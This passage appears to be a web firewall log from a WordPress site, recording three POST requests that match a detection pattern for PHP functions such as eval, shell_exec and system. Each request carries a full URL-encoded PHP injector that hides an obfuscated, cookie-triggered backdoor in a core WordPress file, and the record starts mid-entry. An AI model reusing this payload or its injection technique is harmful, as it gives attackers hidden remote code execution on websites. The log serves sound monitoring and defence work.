20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 19:46:46","190.92.169.79","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-97%252B97%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-6%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68%252B-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524parameter_group%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252703b10007%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524binding%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524reference%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524reference%252C%2520%2524factor%2529%253B%2520fclose%2528%2524reference%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524desc%2520%253D%2520%25223df390bd257d7ff02f8d05b3f1b3aa02%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524binding%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522right_pad_string_restore_state%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\ncontent-length:4373\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrR4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nxN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-97%252B97%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-6%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68%252B-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524parameter_group%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252703b10007%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524binding%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524reference%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524reference%252C%2520%2524factor%2529%253B%2520fclose%2528%2524reference%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524desc%2520%253D%2520%25223df390bd257d7ff02f8d05b3f1b3aa02%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524binding%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522right_pad_string_restore_state%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:46:49","152.53.138.6","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ep:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-97%252B97%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-6%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68%252B-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524parameter_group%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252703b10007%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524binding%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524reference%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524reference%252C%2520%2524factor%2529%253B%2520fclose%2528%2524reference%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524desc%2520%253D%2520%25223df390bd257d7ff02f8d05b3f1b3aa02%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524binding%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522right_pad_string_restore_state%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:4373\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEKNvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\nsec-fetch-user:?1\n\nEp=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-97%252B97%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-6%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68%252B-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524parameter_group%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252703b10007%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524binding%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524reference%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524reference%252C%2520%2524factor%2529%253B%2520fclose%2528%2524reference%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524desc%2520%253D%2520%25223df390bd257d7ff02f8d05b3f1b3aa02%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524binding%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522right_pad_string_restore_state%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:47:10","118.139.167.171","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ie:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-97%252B97%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-6%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68%252B-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524parameter_group%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252703b10007%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524binding%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524reference%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524reference%252C%2520%2524factor%2529%253B%2520fclose%2528%2524reference%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524desc%2520%253D%2520%25223df390bd257d7ff02f8d05b3f1b3aa02%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524binding%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522right_pad_string_restore_state%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:4373\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnJHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-fetch-user:?1\n\nie=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Crypto.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B-97%252B97%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B7%252B-6%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B68%252B-65%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-74%252B78%255D%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520function%2520dataflow_engine%2528%2524parameter_group%2529%2520%257B%2520%2524binding%2520%253D%2520%2524_COOKIE%253B%2520%2524pointer%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252703b10007%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524pointer%2529%2529%2520%257B%2520%2524pointer%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522core_engine%2522%253B%2520%257D%2520%2524factor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524binding%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524pointer%2529%2529%2520%257B%2520%2524reference%2520%253D%2520fopen%2528%2524pointer%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524reference%252C%2520%2524factor%2529%253B%2520fclose%2528%2524reference%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524pointer%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524pointer%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dataflow_engine%2522%2529%253B%2520%2524desc%2520%253D%2520%25223df390bd257d7ff02f8d05b3f1b3aa02%2522%253B%2520if%2520%2528%2521strncmp%2528%2524desc%252C%2520%2524binding%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522right_pad_string_restore_state%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
